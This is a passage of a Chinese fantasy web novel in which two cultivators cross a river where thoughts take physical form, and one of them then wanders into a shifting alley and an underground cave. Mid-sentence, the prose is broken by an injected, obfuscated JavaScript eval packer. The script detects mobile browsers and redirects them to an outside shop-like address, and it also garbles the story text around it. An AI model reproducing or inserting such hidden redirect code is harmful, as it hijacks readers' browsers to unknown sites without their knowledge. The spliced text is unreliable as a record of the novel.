而光的巨人虽然也出现,但是根据宁乔的印象,对方是打怪兽的,对人类没有敌意,所以虽然那边打得轰轰烈烈,但是对自身的安危几乎没有任何影响。 也就是说,如果她想象到的画面是鸟语花香,那这里的情况便会变成一片和谐。而且思绪所造成的影响相互叠加,几乎不受影响。 那如果,她现在想的是,女鬼和宅子都变成之前一片安宁、人来人往的祥和景象时,又会发生什么呢? 阴暗的宅子头顶,天光果然出现在了夜幕的四周,开始蚕食黑暗,但是转眼间就消失了。 也就是说,完全相反的想法出现时,叠加的难度就会上升,说不定就是以他们的意念强弱来决定的。 宁乔喊道:“这里是白天!” 姜敛之游走在猛虎和女鬼之中,听到宁乔的话,努力更改自己的念头。 白色的天光又开始蚕食黑暗,然而只短短时间,黑幕便又侵蚀回去。 姜敛之又努力几次,终于忍不住道:“白天怎么会有女鬼?” 宁乔终于意识到了这里的难缠之处:你知道有鬼,但你能简单改掉吗?须知人的念头最难管束,一朝一夕的想象容易,扭转底层的认知却难。 好比她和姜敛之,自己在平和世界长大,潜意识中的危机感不足,便是有女鬼也不觉得一定会害人,然而姜敛之却刚经历过算计背叛和流血,处处是杀机,所以这些女鬼便越来越狠厉。 而且宁乔有穿越的经历打底,对当下幻化出来的景象没有那么“相信”,而对于姜敛之来说,这是他从小生活的世界,所有发生的,都是真实的。即使知道这是在月川中幻化出来的,潜意识中的相信却也如同噬人的沼泽,一时半会儿难以改变心底之念。 无关对错,但潜意识不同便是步步险境。 然而也正是因为姜敛之更“信”,所以出去的希望反而是在他身上。 真真是祸福相倚,生死一念啊。 16. 月川(四) 宁乔还要与姜敛之做些解释,姜敛之已经深吸一口气,道:“天下之大,无奇不有。白天也可以有女鬼!” 他本性聪慧,眨眼间便想通了不少事,知道自己的念头是这方古怪天地的源头,与宁乔相比,她幻想出来的画面虽然更怪,却没有自己这般危险,终归是自己这边出了问题。 那么,便让自己的念头没有那么危险! 于是,在姜敛之又加了几条理由之后,宅子这方天地已经变作了白天,女鬼、猛虎、军士都消失不见了。 宁乔不由得赞了一声,道:“意念便为天地,我们仍在月川之上!” 这次她话音一落,两人便在再次回到了之前那片月川的景象中。 老宅与光的巨人之类全都消失了个彻底,一切重归奇幻与静谧。 宁乔松了口气,忽然发现周围开始有微风拂动,她立即意识到姜敛之的思绪又在飘,提醒道:“收心!别多想,实在不行便念诀。” 然而此话一落,月川上便有雷声轰隆劈下。 宁乔大声道:“别想雷法!” 这方天地确实诡谲,没有意识到时一切风平浪静,一旦意识到念头可以具现出来,便处处都更改了。 人的念头何其繁杂?即使姜敛之确实在心中念诀,但只要他脑海中有任何画面一闪而过,这片天地就会毫不保留地将其具现。 联想到苇叶对神魂的作用,便不难知晓,这片天地与神魂联系之深,勾连之切,无怪能有此异象。 宁乔想到这里,都有些心累了。 怪不得那位前辈说此处危险重重。 他们反应还算快的,若是在危险中担忧更危险之事,更危险之事便会变成真的,之后便是危险连着危险,永无宁日了! 可随即宁乔心中又有一个想法:这些明摆着都是幻象而非真实,并不是真实的世界,又为何说月川是多重世界的入口呢? 难道假的能变成真的? 宁乔驭使着冰叶小舟慢慢离开了此地,中间又有几次,或是因为她的念头,或是因为姜敛之的念头,又出现了不少异象,既有危险的,也有有趣的,总归是有惊无险地行过了好一段路程。 姜敛之醒来得晚,没听到宁乔和老丈的多少聊天,便问宁乔:“我们如何出去?” 宁乔道:“与进来时的方法一样,认为我们是在外面,我们就是在外面了,唯一不同的是,要精确知晓出去时的画面,不然便没法出去。” 老前辈倒是没提过出去会有危险,或许他们没有经历这一遭时确实不会有危险,现在宁乔就不确定了。 若是构想的画面与真实画面有所不同,究竟只是出不去呢,还是会立刻出现一个相似的幻象呢? 不过,拖方才的福,他们收束念头的技巧又熟练了不少,如今已经能很快出来了,不知道是不是算因祸得福。 姜敛之望着船头想事情的宁乔,垂眸片刻,终于道了一声:“对不起,是我连累你了”。 宁乔听闻此言,诧异地回过头来看了姜敛之一眼,道:“没有。” 看了一眼姜敛之的脸色,她便又补充了几句:“我们对月川都不熟悉,一切都是摸索着来,且不说你反应极快,并没有将我们置于险境,而且我其实还要谢谢你呢。” 这下轮到姜敛之诧异了,他看到少女笑了起来,眼神温暖又明亮:“谢谢你陪着我呀。” 姜敛之猝不及防之下,眼眶有些泛红,喉咙忽然哽得不像话。 他心头有千言无语,但好像又觉得没必要说,也不晓得该说些什么,说我没有你说的那么光明磊落,只是真的怕你抛下我;说其实死了也没什么可怕的,他恨不得能给她挡刀…… 姜敛之最后只闷闷“嗯”了一声,先前那种被抛下的恐慌和连累宁乔的自厌终于消失了几分。 即便心头仍压着沉重的仇恨,却不免在宁乔的眼神中感受到了几缕和煦的春风,轻柔又温暖。 宁乔与姜敛之商量:“既然没法规避心念的影响,不如就放纵它,只要时不时想一些美好的画面,做些验证。” “月川号称是多重世界的入口,便不可能只有幻象,说不定是我们没赶到正确的地方呢?” 姜敛之应了一声,明白宁乔说的不只是前后左右的差别,还有月川的上下的差异。 于是两个人在这条河上又试验了很久,确定这里确实只有幻象,便前往了下一重月川中。 乍一看处处相同的月川,却在他们作此想法的第一时间就给他们来了个下马威。 *** 午后的小巷里,阳光暖融融地照在树冠上、墙影上,没有行人,也没听到有任何声音。 宁乔走在这条小巷里已经三刻钟了,始终没见到姜敛之的人影。 手腕上那条金色的虚线还在,但是另一头却完全看不出到底在哪,只是一圈又一圈地绕满了整个小巷,从巷头一直到巷尾,密密麻麻,满满都是。 似乎宁乔已经在小巷里打转了三百年。 然而宁乔却是一直在往前走的。 巷子两边的建筑也有些奇怪,说不上来,就是有些不协调,高高低低、歪歪扭扭的,而且建筑的风格也极为迥异,比如刚刚走过的这栋,白墙黑瓦,像是江南水乡的小院,到了下一栋,又是爬满了蔷薇花的古堡。 他们都有些不协调。 气温彷佛越来越高了。 宁乔本打算飞到哪间的屋顶上看看情况,然而似乎术法失灵,她完全飘不起来,那些遁术雷诀也通通不管用了。 宁乔本以为是因为意识的问题,然而不管她怎么想,都没有任何用处。 可要说这里是真实世界,又太过怪异了。 因为不光是建筑风格迥异,连年代似乎都是岔开的。 像是被挤在了什么时空的缝隙里。 这家又一次传来细细密密的哭声,像是女人,又像是孩童。 宁乔敲了敲这家的门。 是一个古代农家土胚小院的模样,院门只有半人高,木板歪歪扭扭拼起来的,完全挡不住路人的视线。 至少宁乔能完全看清院子里的情况——根本没人。屋子里倒是瞧不见了。 “有人在吗?” 也没人答话。 宁乔正打算再敲一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125938|196071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下门,忽然门上宁乔自己手掌的影子里忽然有什么东西融开了,骤然发力便将宁乔拽了进去。 宁乔被拽到了一个黑漆漆的地方,阴冷的,透着土味。 她转头看了一眼断掉的金色虚线,眸中透出几分无奈。 方才第一时间她便有所察觉,只是下意识捏了这道“一线牵”的法诀,回过神来才想起来,术法根本没法用了。 宁乔摸索了一下墙面,似乎是在地下的洞穴里。 阴影里放佛有什么东西在蠢蠢欲动,宁乔心头有些发毛,背着前世记住的一些红色语录,一边摸索着快步往前面走去。 她方才隐隐约约看见背后远处有一点光亮,思索了一下,觉得反常的地方最好还是反其道而行之,于是扭头走向了另一边黑漆漆的方向。 在她不知道的角落里,黑影顿了一下,才收束了枝桠,往宁乔的方向追去。 走了有一会儿,前方岔路口处突然出现了一只火把。 宁乔往后退了一步,悄悄隐在了黑暗处。 从岔路口一边走出一个黑衣的中年人,斗笠被挂在了背后,右手一把伞,左手举着火把,伞把上系了个绳子,牵着一个哭哭啼啼的女孩儿。 中年黑衣人的打扮像极了传说中的江湖人,而女孩却穿着一身jk短裙,脚踩长靴,一边哭一边讲着好似是日语的语言。 那中年黑衣人偶尔回头训斥少女一句,说的语言宁乔也一句听不懂,只能从黑衣人的肢体语言中感觉出来,似乎是让少女别哭了。 见到这两人,宁乔便猜测,这里可能确实与现实世界相勾连了。 也有可能是她自己更真实的幻想,但宁乔直觉是前者。 两人越走越近了,宁乔现在的身体与常人无异,没有发光,但黑衣中年人还是发现了她。 “谁在那?!” 宁乔在心里给那个黑衣人翻译。 她举起双手,从阴影中走了出来。 两个人神色都是一惊,黑衣人又说了句话,宁乔只好摇头,示意自己听不懂他说话。 被绑住的少女也开口说了句什么,宁乔又摇了摇头。 两个人都有些若有所思,也都有些失望。 令宁乔稍微感到有些意外的是,黑衣中年人并没有上来就喊打喊杀,而是指了指两边的路,似乎是问宁乔走哪一边。 宁乔不觉得来路是对的,便对着来路摇头,示意自己要走对面,选一跳岔路走。 黑衣人思考了一会儿,也跟着宁乔往岔路走去。 语言不通是个大麻烦,但似乎又省了不少事,三人只管往前走。 又走了不知道多久,宁乔忽然感觉到旁边墙壁上似乎有什么东西蠢蠢欲动,就在她往后退了一步时,那名jk裙少女已经被黑影扯了进去,而黑衣人被伞上的绳子一拉,也要跌进去,关键时刻他以掌作刃,劈开了绳子,躲过了被拉进去的命运,看着墙壁若有所思。 宁乔打量了一下这个奇怪的地下洞穴,感知到了四面八方黑影的恶意,正在思考要往哪里跑时,忽然发现手腕上的金线绷成了直线,而金线的另一头,就在墙壁的黑影中。